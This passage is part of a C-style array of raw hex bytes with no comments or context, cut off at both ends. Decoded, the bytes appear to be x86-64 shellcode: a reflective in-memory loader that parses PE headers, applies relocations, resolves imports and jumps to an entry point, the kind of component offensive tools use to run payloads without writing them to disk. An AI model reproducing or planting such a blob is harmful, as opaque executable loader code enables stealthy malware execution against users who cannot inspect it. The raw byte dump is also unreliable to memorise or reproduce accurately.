0x8d, 0x55, 0xa0, 0x66, 0x44, 0x89, 0x7c, 0x24, 0x78, 0x4c, 0x8b, 0xc7,
0x4c, 0x89, 0x6d, 0x80, 0x0f, 0x10, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x01,
0xf2, 0x0f, 0x11, 0x4d, 0xb0, 0x0f, 0x29, 0x45, 0xa0, 0xff, 0x90, 0x28,
0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x0f, 0x84, 0xeb, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x4c, 0x24, 0x68, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48,
0x8b, 0xcf, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0xe9, 0xd2, 0x01, 0x00,
0x00, 0x4d, 0x89, 0x6e, 0x38, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0x4c, 0x8d,
0x82, 0x0c, 0x02, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x48,
0x8d, 0x45, 0x10, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41, 0x83, 0xcc, 0xff,
0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9,
0xff, 0x53, 0x70, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93, 0xe8, 0x00, 0x00,
0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
0x0f, 0x84, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 0x44, 0x89,
0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x48, 0x89,
0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53,
0x70, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c,
0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x41, 0x01, 0x00, 0x00, 0x49,
0x8b, 0x4e, 0x28, 0x49, 0x8d, 0x46, 0x30, 0x4c, 0x8b, 0xc0, 0x48, 0x89,
0x45, 0x90, 0x48, 0x8b, 0xd7, 0x4c, 0x8b, 0x09, 0x41, 0xff, 0x91, 0x88,
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x14, 0x01, 0x00, 0x00, 0x33,
0xff, 0x4c, 0x8d, 0x86, 0x0c, 0x04, 0x00, 0x00, 0x41, 0x38, 0x38, 0x0f,
0x84, 0xab, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 0x44, 0x89, 0x7c,
0x24, 0x28, 0x45, 0x8b, 0xcc, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2,
0x33, 0xc9, 0xff, 0x53, 0x70, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d,
0x4d, 0x10, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24,
0x40, 0x8d, 0x4f, 0x0c, 0x33, 0xd2, 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0,
0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x69, 0x83,
0xa5, 0x78, 0x02, 0x00, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x40, 0x00, 0x76,
0x5b, 0x33, 0xc9, 0x8d, 0x71, 0x08, 0x44, 0x8d, 0x61, 0x01, 0x49, 0x8b,
0x0c, 0xcf, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xc0,
0x66, 0x89, 0x75, 0xc0, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00, 0x00, 0x48,
0x89, 0x45, 0xc8, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00,
0x44, 0x8b, 0xf0, 0x85, 0xc0, 0x79, 0x0b, 0x48, 0x8b, 0xcf, 0xff, 0x93,
0xd0, 0x00, 0x00, 0x00, 0x33, 0xff, 0x8b, 0x8d, 0x78, 0x02, 0x00, 0x00,
0x41, 0x03, 0xcc, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x3b, 0x4c, 0x24,
0x40, 0x72, 0xb3, 0x45, 0x85, 0xf6, 0x78, 0x52, 0x48, 0x8b, 0x4d, 0x90,
0x48, 0x8d, 0x55, 0xf0, 0x48, 0x89, 0x54, 0x24, 0x30, 0x0f, 0x57, 0xc0,
0x48, 0x8d, 0x55, 0xa0, 0x0f, 0x29, 0x45, 0xa0, 0xf2, 0x0f, 0x10, 0x45,
0x88, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0x09, 0x41, 0xb8, 0x18, 0x01, 0x00,
0x00, 0x48, 0x89, 0x7c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x49,
0x8b, 0xd5, 0xf2, 0x0f, 0x11, 0x45, 0xb0, 0x48, 0x8b, 0x01, 0xff, 0x90,
0xc8, 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0x09, 0x48, 0x8b, 0xcf,
0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x49,
0x8b, 0xcd, 0xff, 0x93, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff,
0x93, 0xf0, 0x00, 0x00, 0x00, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x41,
0x8b, 0xc7, 0x48, 0x8b, 0x9c, 0x24, 0x60, 0x03, 0x00, 0x00, 0x48, 0x81,
0xc4, 0x20, 0x03, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41,
0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
0x48, 0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0xba, 0x28, 0x05,
0x00, 0x00, 0x48, 0x8b, 0xe9, 0x49, 0x63, 0x7f, 0x3c, 0x45, 0x33, 0xe4,
0x49, 0x03, 0xff, 0x4c, 0x89, 0xa4, 0x24, 0x88, 0x02, 0x00, 0x00, 0x33,
0xc9, 0x48, 0x89, 0xbc, 0x24, 0x80, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0xea,
0xff, 0x55, 0x40, 0x4c, 0x63, 0x40, 0x3c, 0x41, 0x0f, 0xb7, 0x44, 0x00,
0x04, 0x66, 0x39, 0x47, 0x04, 0x0f, 0x85, 0xea, 0x03, 0x00, 0x00, 0x8b,
0x57, 0x50, 0x45, 0x8d, 0x4c, 0x24, 0x40, 0xb9, 0x00, 0x10, 0x00, 0x00,
0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x03, 0xd1, 0x33, 0xc9, 0xff, 0x55,
0x48, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc4, 0x03, 0x00,
0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xe8,
0xc4, 0x0e, 0x00, 0x00, 0x0f, 0xb7, 0x77, 0x14, 0x45, 0x8b, 0xf4, 0x48,
0x03, 0xf7, 0x66, 0x44, 0x3b, 0x67, 0x06, 0x73, 0x2d, 0x41, 0x8b, 0xc6,
0x4c, 0x8d, 0x04, 0x80, 0x42, 0x8b, 0x54, 0xc6, 0x2c, 0x42, 0x8b, 0x4c,
0xc6, 0x24, 0x49, 0x03, 0xd7, 0x46, 0x8b, 0x44, 0xc6, 0x28, 0x48, 0x03,
0xcb, 0xe8, 0x92, 0x0e, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06, 0x41, 0xff,
0xc6, 0x44, 0x3b, 0xf0, 0x72, 0xd3, 0x8b, 0x87, 0xb0, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x74, 0x77, 0x48, 0x8b, 0xf3, 0x4c, 0x8d, 0x0c, 0x03, 0x48,
0x2b, 0x77, 0x30, 0x45, 0x39, 0x21, 0x74, 0x67, 0x41, 0xbe, 0x00, 0x10,
0x00, 0x00, 0x4d, 0x8d, 0x51, 0x08, 0xeb, 0x47, 0x41, 0x0f, 0xb7, 0x02,
0xb9, 0x00, 0xf0, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0xd8, 0x66, 0x23, 0xc1,
0xb9, 0x00, 0xa0, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x75, 0x1f, 0x45, 0x8b,
0x01, 0x41, 0x81, 0xe3, 0xff, 0x0f, 0x00, 0x00, 0x4b, 0x8d, 0x04, 0x03,
0x48, 0x8b, 0x14, 0x18, 0x4b, 0x8d, 0x04, 0x03, 0x48, 0x03, 0xd6, 0x48,
0x89, 0x14, 0x18, 0xeb, 0x0a, 0x66, 0x45, 0x3b, 0xde, 0x0f, 0x83, 0x00,
0x03, 0x00, 0x00, 0x49, 0x83, 0xc2, 0x02, 0x41, 0x8b, 0x41, 0x04, 0x49,
0x03, 0xc1, 0x4c, 0x3b, 0xd0, 0x75, 0xad, 0x4d, 0x8b, 0xca, 0x45, 0x39,
0x22, 0x75, 0x9f, 0x8b, 0x87, 0x90, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f,
0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x34, 0x03, 0x8b, 0x46, 0x0c,
0x85, 0xc0, 0x74, 0x79, 0x8b, 0xc8, 0x48, 0x03, 0xcb, 0xff, 0x55, 0x30,
0x44, 0x8b, 0x36, 0x48, 0x8b, 0xf8, 0x44, 0x8b, 0x66, 0x10, 0x4c, 0x03,
0xf3, 0x4c, 0x03, 0xe3, 0xeb, 0x41, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb,
0x28, 0x41, 0x83, 0x7d, 0x04, 0x00, 0x4c, 0x8d, 0x3c, 0x19, 0x74, 0x19,
0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcd, 0xe8, 0x28, 0xf3, 0xff, 0xff,
0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0x85, 0x90, 0x01, 0x00, 0x00, 0xeb,
0x0a, 0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcf, 0xff, 0x55, 0x38, 0x49,
0x83, 0xc6, 0x08, 0x49, 0x89, 0x04, 0x24, 0x49, 0x83, 0xc4, 0x08, 0x49,
0x8b, 0x0e, 0x48, 0x85, 0xc9, 0x75, 0xb7, 0x8b, 0x46, 0x20, 0x48, 0x83,
0xc6, 0x14, 0x45, 0x33, 0xe4, 0x85, 0xc0, 0x75, 0x8f, 0x48, 0x8b, 0xbc,
0x24, 0x80, 0x02, 0x00, 0x00, 0x8b, 0x87, 0xf0, 0x00, 0x00, 0x00, 0x85,
0xc0, 0x74, 0x63, 0x48, 0x8d, 0x73, 0x04, 0x48, 0x03, 0xf0, 0xeb, 0x54,
0x8b, 0xc8, 0x48, 0x03, 0xcb, 0xff, 0x55, 0x30, 0x4c, 0x8b, 0xe0, 0x48,
0x85, 0xc0, 0x74, 0x3d, 0x44, 0x8b, 0x76, 0x0c, 0x44, 0x8b, 0x7e, 0x08,
0x4c, 0x03, 0xf3, 0x4c, 0x03, 0xfb, 0xeb, 0x25, 0x48, 0x8b, 0x45, 0x38,
0x48, 0x85, 0xc9, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d,
0x53, 0x02, 0x48, 0x03, 0xd1, 0x49, 0x8b, 0xcc, 0xff, 0xd0, 0x49, 0x83,
0xc6, 0x08, 0x49, 0x89, 0x07, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x8b, 0x0e,
0x48, 0x85, 0xc9, 0x75, 0xd3, 0x48, 0x83, 0xc6, 0x20, 0x45, 0x33, 0xe4,
0x8b, 0x06, 0x85, 0xc0, 0x75, 0xa6, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0x74, 0x18, 0x18, 0x48, 0x85, 0xf6,
0x74, 0x1a, 0xeb, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d,
0x50, 0x01, 0xff, 0xd0, 0x48, 0x8d, 0x76, 0x08, 0x48, 0x8b, 0x06, 0x48,
0x85, 0xc0, 0x75, 0xe8, 0x8b, 0x77, 0x28, 0x48, 0x03, 0xf3, 0x41, 0x83,
0x7d, 0x00, 0x03, 0x0f, 0x85, 0x12, 0x01, 0x00, 0x00, 0x45, 0x33, 0xc0,
0x48, 0x8b, 0xcb, 0x41, 0x8d, 0x50, 0x01, 0xff, 0xd6, 0x49, 0x8d, 0x95,
0x0c, 0x03, 0x00, 0x00, 0x44, 0x38, 0x22, 0x0f, 0x84, 0x8e, 0x01, 0x00,
0x00, 0x8b, 0x87, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x80,
0x01, 0x00, 0x00, 0x48, 0x03, 0xc3, 0x8b, 0x70, 0x18, 0x85, 0xf6, 0x0f,
0x84, 0x72, 0x01, 0x00, 0x00, 0x44, 0x8b, 0x70, 0x1c, 0x44, 0x8b, 0x60,
0x20, 0x4c, 0x03, 0xf3, 0x44, 0x8b, 0x78, 0x24, 0x4c, 0x03, 0xe3, 0x4c,
0x03, 0xfb, 0xff, 0xce, 0x8b, 0xc6, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02,
0x00, 0x00, 0x41, 0x8b, 0x0c, 0xb4, 0x48, 0x03, 0xcb, 0xe8, 0x9e, 0x0c,
0x00, 0x00, 0x85, 0xc0, 0x74, 0x0d, 0x85, 0xf6, 0x74, 0x1f, 0x49, 0x8d,
0x95, 0x0c, 0x03, 0x00, 0x00, 0xeb, 0xd7, 0x48, 0x8b, 0x84, 0x24, 0x80,
0x02, 0x00, 0x00, 0x41, 0x0f, 0xb7, 0x04, 0x47, 0x41, 0x8b, 0x34, 0x86,
0x48, 0x03, 0xf3, 0xeb, 0x08, 0x48, 0x8b, 0xb4, 0x24, 0x88, 0x02, 0x00,
0x00, 0x44, 0x8b, 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x45,
0x0c, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05,
0x00, 0x00, 0x33, 0xd2, 0xe8, 0x33, 0x0c, 0x00, 0x00, 0x48, 0x85, 0xf6,
0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xbd, 0x0c, 0x04, 0x00,
0x00, 0x80, 0x3f, 0x00, 0x74, 0x42, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00,
0x00, 0x85, 0xc0, 0x74, 0x27, 0x48, 0x8d, 0x44, 0x24, 0x30, 0xc7, 0x44,
0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89,
0x44, 0x24, 0x20, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x55,
0x70, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x8d,
0x4c, 0x24, 0x30, 0x48, 0x0f, 0x44, 0xcf, 0xe9, 0x9d, 0x00, 0x00, 0x00,
0xff, 0xd6, 0xe9, 0x98, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x85, 0x0c, 0x04,
0x00, 0x00, 0x45, 0x38, 0x20, 0x74, 0x2a, 0x48, 0x8d, 0x44, 0x24, 0x30,
0xc7, 0x44, 0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff,
0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x55, 0x70,
0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0xcd, 0xe8, 0x87, 0x03, 0x00,
0x00, 0x44, 0x8b, 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x91,
0x0b, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05,
0x00, 0x00, 0x33, 0xd2, 0xe8, 0x7f, 0x0b, 0x00, 0x00, 0x45, 0x39, 0x65,
0x04, 0x74, 0x2d, 0x4c, 0x89, 0x64, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x4c,
0x8b, 0xc6, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff,
0x95, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x83, 0xca,
0xff, 0x48, 0x8b, 0xc8, 0xff, 0x95, 0x80, 0x00, 0x00, 0x00, 0xeb, 0x0f,
0x65, 0x48, 0x8b, 0x0c, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x49,
0x60, 0xff, 0xd6, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x48,
0x8b, 0xcb, 0xff, 0x55, 0x50, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00,
0x00, 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e,
0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24,
0x10, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d,
0xac, 0x24, 0xc0, 0xfc, 0xff, 0xff, 0x48, 0x81, 0xec, 0x40, 0x04, 0x00,
0x00, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0x91, 0x18, 0x09,
0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d,
0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x56,
0x48, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x94, 0x02, 0x00,
0x00, 0x8b, 0x8b, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x28, 0x05,
0x00, 0x00, 0x03, 0xc9, 0x83, 0xcb, 0xff, 0x89, 0x4c, 0x24, 0x28, 0x44,
0x8b, 0xcb, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0xff,
0x56, 0x70, 0x83, 0x65, 0xe8, 0x00, 0x48, 0x8d, 0x45, 0x80, 0x83, 0x65,
0xf8, 0x00, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b,
0xce, 0x48, 0x8d, 0x05, 0x04, 0xe4, 0xff, 0xff, 0x48, 0x89, 0x75, 0x38,
0x48, 0x89, 0x45, 0x80, 0x48, 0x8d, 0x05, 0x89, 0xe2, 0xff, 0xff, 0x48,
0x89, 0x45, 0x88, 0x48, 0x8d, 0x05, 0xe6, 0xe2, 0xff, 0xff, 0x48, 0x89,
0x45, 0x90, 0x48, 0x8d, 0x05, 0x63, 0xe3, 0xff, 0xff, 0x48, 0x89, 0x45,
0x98, 0x48, 0x8d, 0x05, 0xe0, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa0,
0x48, 0x8d, 0x05, 0xd1, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa8, 0x48,
0x8d, 0x05, 0xc6, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb0, 0x48, 0x8d,
0x05, 0xbb, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x05,
0x48, 0xe3, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8d, 0x05, 0xa5,
0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8d, 0x05, 0x9a, 0xe2,
0xff, 0xff, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48,
0x89, 0x45, 0xf0, 0x48, 0x8d, 0x05, 0x22, 0xe2, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x50, 0x48, 0x8d, 0x05, 0x06, 0xe2, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x58, 0x48, 0x8d, 0x05, 0x62, 0xe2, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x60, 0x48, 0x8d, 0x05, 0xf6, 0xe1, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x68, 0x48, 0x8d, 0x05, 0xea, 0xe1, 0xff, 0xff, 0x48, 0x89,
0x44, 0x24, 0x70, 0x48, 0x8d, 0x45, 0x40, 0x48, 0x89, 0x45, 0x08, 0x48,
0x89, 0x75, 0x00, 0xe8, 0x0c, 0xec, 0xff, 0xff, 0x33, 0xd2, 0x33, 0xc9,
0xff, 0x96, 0x58, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x4c, 0x01,
0x00, 0x00, 0x48, 0x8d, 0x85, 0x60, 0x03, 0x00, 0x00, 0x33, 0xd2, 0x4c,
0x8d, 0x8e, 0x94, 0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48,
0x8d, 0x8e, 0x74, 0x06, 0x00, 0x00, 0x44, 0x8d, 0x43, 0x04, 0xff, 0x96,
0x60, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x1e, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x96, 0xd4, 0x06,
0x00, 0x00, 0x4c, 0x8d, 0x85, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01,
0xff, 0x10, 0x85, 0xc0, 0x0f, 0x85, 0xe2, 0x00, 0x00, 0x00, 0x48, 0x8b,
0x8d, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85,
0xc0, 0x0f, 0x85, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03,
0x00, 0x00, 0x48, 0x8d, 0x55, 0xe0, 0x48, 0x89, 0x4d, 0x20, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 0xa3, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x00,
0x01, 0x00, 0x00, 0x4c, 0x8d, 0x86, 0xe0, 0x05, 0x00, 0x00, 0x48, 0x89,
0x44, 0x24, 0x20, 0x44, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56,
0x70, 0x48, 0x8d, 0x8d, 0x30, 0x01, 0x00, 0x00, 0xff, 0x96, 0xe8, 0x00,
0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x44, 0x8d, 0x43,
0x03, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x09, 0x41, 0xff,
0x51, 0x40, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0, 0x00, 0x00,
0x00, 0x85, 0xdb, 0x75, 0x4a, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x45,
0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xc0, 0x21,
0x5c, 0x24, 0x38, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x8d, 0x70, 0x03, 0x00,
0x00, 0x21, 0x5c, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48,
0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x85,
0xc0, 0x75, 0x10, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x8d, 0x53,
0x02, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x48, 0x8b, 0x8d, 0x70, 0x03,
0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b, 0x8d, 0x60,
0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x38, 0x48, 0x8b, 0x8d,
0x60, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x44, 0x8b,
0x86, 0x18, 0x09, 0x00, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x46, 0x8d,
0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0xe8, 0x41, 0x08, 0x00, 0x00, 0x33,
0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x49, 0x8b, 0xce, 0xff, 0x56,
0x50, 0x4c, 0x8d, 0x9c, 0x24, 0x40, 0x04, 0x00, 0x00, 0x49, 0x8b, 0x5b,
0x28, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d,
0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c,
0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x54, 0x41, 0x55,
0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x65,
0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x48,
0x81, 0xc1, 0x4c, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xea, 0x4c, 0x8b, 0x70,
0x60, 0xff, 0x57, 0x40, 0x33, 0xc9, 0x4c, 0x8b, 0xd8, 0x4c, 0x63, 0x48,
0x3c, 0x4c, 0x03, 0xc8, 0x45, 0x0f, 0xb7, 0x51, 0x14, 0x45, 0x0f, 0xb7,
0x41, 0x06, 0x4d, 0x03, 0xd1, 0x45, 0x85, 0xc0, 0x74, 0x19, 0x44, 0x8b,
0x8f, 0x44, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x04, 0x89, 0x45, 0x39, 0x4c,
0xc2, 0x18, 0x74, 0x3a, 0xff, 0xc1, 0x41, 0x3b, 0xc8, 0x72, 0xee, 0x8b,
0x9c, 0x24, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0xe0, 0x00,
0x00, 0x00, 0xff, 0x97, 0xa8, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x85, 0xdb,
0x74, 0x39, 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe9, 0x48, 0x39, 0x41, 0x08,
0x74, 0x22, 0xff, 0xc2, 0x48, 0x83, 0xc1, 0x08, 0x3b, 0xd3, 0x72, 0xed,
0xeb, 0x29, 0x48, 0x8d, 0x04, 0x89, 0x41, 0x8b, 0x74, 0xc2, 0x24, 0x41,
0x8b, 0x5c, 0xc2, 0x20, 0x49, 0x03, 0xf3, 0xc1, 0xeb, 0x03, 0xeb, 0xc6,
0x48, 0x8b, 0xd5, 0xff, 0x97, 0xa0, 0x01, 0x00, 0x00, 0xeb, 0x08, 0x4c,
0x8b, 0xac, 0x24, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x97, 0xa0, 0x00, 0x00,
0x00, 0x33, 0xed, 0x44, 0x8d, 0x4d, 0x01, 0x85, 0xdb, 0x74, 0x41, 0x48,
0x8d, 0x4e, 0x08, 0x48, 0x39, 0x01, 0x74, 0x0d, 0x41, 0x03, 0xe9, 0x48,
0x83, 0xc1, 0x08, 0x3b, 0xeb, 0x72, 0xf0, 0xeb, 0x2b, 0x45, 0x8a, 0xc1,
0x48, 0x8d, 0x4c, 0x24, 0x20, 0x49, 0x8b, 0xd5, 0xff, 0x97, 0x80, 0x01,
0x00, 0x00, 0x48, 0x8d, 0x0c, 0xee, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xde, 0x06, 0x00, 0x00, 0x41, 0xb9,
0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x46, 0x18, 0x48, 0x8b, 0x70, 0x10,
0xe9, 0xf9, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0xb7, 0x6c, 0x03, 0x00, 0x00,
0x41, 0x8a, 0x0e, 0x33, 0xed, 0x33, 0xd2, 0x45, 0x8b, 0xf9, 0x84, 0xc9,
0x0f, 0x84, 0xdd, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x80, 0xf9, 0x3b,
0x74, 0x2e, 0x81, 0xfa, 0x80, 0x00, 0x00, 0x00, 0x73, 0x26, 0x33, 0xc0,
0x42, 0x88, 0x4c, 0x04, 0x30, 0x80, 0xf9, 0x77, 0x41, 0x0f, 0x45, 0xc7,
